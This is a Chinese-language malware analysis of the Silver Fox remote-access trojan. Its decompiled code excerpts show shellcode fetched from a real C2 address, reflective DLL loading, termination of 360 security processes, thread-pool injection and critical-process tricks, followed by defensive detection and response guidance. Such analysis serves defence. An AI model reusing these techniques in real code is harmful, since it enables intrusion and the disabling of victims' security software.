【病毒分析】R3强杀360:银狐远控病毒再进化
字数 1515 2025-08-22 12:23:36
银狐远控病毒深度分析与防御指南
1. 病毒概述
银狐病毒(Silver Fox RAT)自2022年起活跃,主要针对中国用户和企事业单位,特别是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播,具有高度隐蔽性和破坏性。
1.1 传播方式
- 钓鱼邮件:伪装为税务、财务相关文件
- 社交平台恶意链接:通过社交平台分发恶意链接
- SEO攻击:利用搜索引擎优化使钓鱼网站在搜索结果中排名靠前
- 恶意广告投放:通过广告网络传播
- 多次电子邮件钓鱼活动:持续性钓鱼攻击
1.2 主要功能
- 远程控制受害者设备
- 数据窃取
- 反检测机制
- 强制关闭安全软件(如360安全卫士)
- 持久化驻留
2. 技术分析
2.1 样本基本信息
- 文件名:明细查看_Setup.exe
- 大小:2.67 MB
- 操作系统:Windows(Vista)[AMD64, 64位, GUI]
- 模式:32位
- 类型:EXEC
- 哈希值:
- MD5: 1a416558435d62dcca79346e6b839370
- SHA1: 039e938f5af45edc168c6aa6ebe450f2bc7eddd7
- SHA256: 035d72733b7ef722b7a8c7f067ff558f04c737cf0231aea54a6567a39ef84aea
2.2 执行流程
- 初次远程加载shellcode
- 二次远程加载shellcode
- 反射加载DLL
- 执行DLL中的VFPower函数
- 远程下载并执行强杀360的exe
- 设置自身为系统关键进程
- 通过RPC创建计划任务实现持久化
- 第三次远程加载shellcode执行远控
2.3 关键技术细节
2.3.1 远程加载shellcode机制
病毒通过多阶段shellcode加载实现功能:
初次加载:
int shellcode_execute_1()
{
// 省略部分代码...
if ( dword_6827D0 )
{
v1 = *(_DWORD *)dword_6827D0;
v2 = 0;
v5 = *(_DWORD *)(dword_6827D0 + 4);
// 设置异常处理
v4[2] = (unsigned int)&savedregs;
v4[1] = (unsigned int)&loc_40508D;
v4[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
__writefsdword(0, (unsigned int)v4);
// 执行函数数组中的每个函数
if ( v1 > 0 )
{
do {
v3 = *(void (**)(void))(v5 + 8 * v2++);
dword_6827D4 = v2;
if ( v3 )
v3();
} while ( v1 > v2 );
}
// 恢复异常处理
result = 0;
__writefsdword(0, v4[0]);
}
return result;
}
二次加载(连接C2服务器156.251.17.245:8852):
int sub_65D174()
{
// 初始化Winsock
WSAStartup(514, &v1);
// 创建socket
v14 = socket(2, 1, 0);
// 设置目标地址和端口
v11[0] = 2; // AF_INET
v11[1] = htons(8852); // 端口
ip_addr = 0xF511FB9C; // 156.251.17.245
// 连接C2服务器
connect(v14, v11, 16);
// 接收shellcode
while ( 1 ) {
v18 = recv(v14, (char *)v13 + v17, 4096, 0);
if ( v18 <= 0 )
break;
v17 += v18;
}
// 执行shellcode
return v13();
}
2.3.2 反射加载DLL技术
病毒使用内存反射加载技术绕过传统DLL加载方式:
- 动态获取API地址:
// 动态获取VirtualAlloc等关键API
v94 = 0xC000C;
v95 = v106;
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))ProcedureAddress)(
v97, &v94, 0, &VirtualAlloc);
- PE结构校验:
// 检查PE头标志
str_PE = &a1[*((_DWORD *)a1 + 15)];
if ( *(_DWORD *)str_PE != 'EP' ) // "PE\0\0"
return 0;
// 检查可选头大小
if ( *((_WORD *)str_PE + 2) != 332 )
return 0;
// 检查DLL特性
v10 = *((_DWORD *)str_PE + 14);
if ( (v10 & 1) != 0 )
return 0;
- 内存加载与执行:
// 分配内存并加载DLL
v13 = (int (*)(void))VirtualAlloc(0, 122880, 12288, 64);
// 刷新指令缓存
if ( FlushInstructionCache )
FlushInstructionCache(-1, 0, 0);
// 执行DLL入口点
return v13();
2.3.3 反检测技术
1. 进程注入技术:
// 查找目标进程
v4 = ((int (__stdcall *)(int, _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0);
if ( v4 != -1 ) {
v5[0] = 556;
if ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32FirstW)(v4, v5) ) {
do {
// 检查是否为360进程
if ( !((int (__cdecl *)(_BYTE *, int))ucrtbase__wcsicmp)(v6, v2) ) {
((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
return 1;
}
} while ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32NextW)(v4, v5) );
}
}
2. 设置自身为关键进程:
// 提权
RtlAdjustPrivilege(0x14u, 1u, 0, &v31); // SE_DEBUG_PRIVILEGE
// 设置为关键进程
RtlSetProcessIsCritical(1, 0, 0); // 进程被终止会导致系统蓝屏
3. 持久化技术:
// 通过RPC创建计划任务
RPC_BINDING_HANDLE sub_10004C70()
{
// 绑定到计划任务服务
RpcStringBindingComposeW(0, L"ncacn_np", (RPC_WSTR)L"localhost", L"\\pipe\\atsvc", 0, &StringBinding);
RpcBindingFromStringBindingW(StringBinding, &Binding);
// 设置认证信息
SecurityQos.Version = 1;
SecurityQos.ImpersonationType = 3; // SecurityImpersonation
SecurityQos.Capabilities = 0;
SecurityQos.IdentityTracking = 0;
RpcBindingSetAuthInfoExA(Binding, 0, 6u, 0xAu, 0, 0, &SecurityQos);
return Binding;
}
2.3.4 强杀360技术
1. 进程遍历与终止:
// 遍历进程查找360tray.exe
while ( 1 ) {
if ( !v13(v17, "360tray.exe") ) {
// 打开进程
v4 = v11(1i64, 0i64, v16);
if ( v4 ) {
// 终止进程
v12(v4, 0i64);
v7(v4);
}
goto LABEL_13;
}
// 检查另一个可能的进程名
if ( !v13(v17, "360Tray.exe") )
break;
if ( !v10(v3, &v15) )
goto LABEL_13;
}
2. 线程池注入技术:
// 创建线程池等待对象
ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v23, 0i64, 0i64);
// 在目标进程中分配内存
v25 = VirtualAllocEx(v11, 0i64, 0x1D8ui64, 0x3000u, 4u);
WriteProcessMemory(v11, v25, ThreadpoolWait, 0x1D8ui64, 0i64);
// 创建事件并关联
EventW = CreateEventW(0i64, 0, 0, L"asdEvent");
ZwAssociateWaitCompletionPacket(*((_QWORD *)ThreadpoolWait + 46), qword_7FF648BE9CB8, EventW, v26, v25);
SetEvent(EventW); // 触发执行
3. 防御措施
3.1 预防措施
-
终端防护:
- 部署具有行为检测能力的终端安全软件
- 启用应用程序控制策略
- 限制PowerShell等脚本解释器的使用
-
网络防护:
- 在网络边界拦截已知C2地址(如156.251.17.245)
- 监控异常外联行为
- 实施严格的出站连接控制
-
邮件安全:
- 部署高级邮件安全网关
- 对可疑附件进行沙箱分析
- 教育用户识别钓鱼邮件
3.2 检测措施
-
行为检测指标:
- 进程尝试获取SE_DEBUG_PRIVILEGE权限
- 异常的内存分配和代码执行模式
- 进程尝试设置自身为关键进程
- 异常的线程池注入行为
-
日志监控:
# 监控计划任务创建事件 Get-WinEvent -FilterHashtable @{ LogName='Security' ID='4698' # 计划任务创建 } | Where-Object {$_.Properties[8].Value -like "*atsvc*"} # 监控进程创建事件 Get-WinEvent -FilterHashtable @{ LogName='Security' ID='4688' # 新进程创建 } | Where-Object {$_.Properties[5].Value -like "*360tray.exe*"}
3.3 响应措施
-
隔离受影响系统:
- 立即断开网络连接
- 不要关闭系统以避免触发蓝屏
-
取证分析:
# 收集进程信息 Get-Process | Select-Object Id, Name, Path, Company | Export-Csv -Path Processes.csv # 收集网络连接 Get-NetTCPConnection | Where-Object {$_.State -eq "Established"} | Export-Csv -Path NetworkConnections.csv # 收集计划任务 Get-ScheduledTask | Select-Object TaskName, TaskPath, State, Actions | Export-Csv -Path ScheduledTasks.csv -
恢复措施:
- 从备份恢复系统
- 重置所有凭据
- 全面扫描所有可写共享
4. 技术总结
银狐远控病毒展现了高级攻击技术的多个方面:
- 多阶段加载:通过多级shellcode加载增加分析难度
- 反检测技术:使用内存反射加载、关键进程保护和进程注入
- 持久化机制:通过RPC创建计划任务实现长期驻留
- 对抗安全软件:专门针对360安全卫士等安全产品
- 模块化设计:不同功能由不同模块实现,便于更新和扩展
防御此类高级威胁需要纵深防御策略,结合预防、检测和响应措施,并保持安全解决方案的持续更新。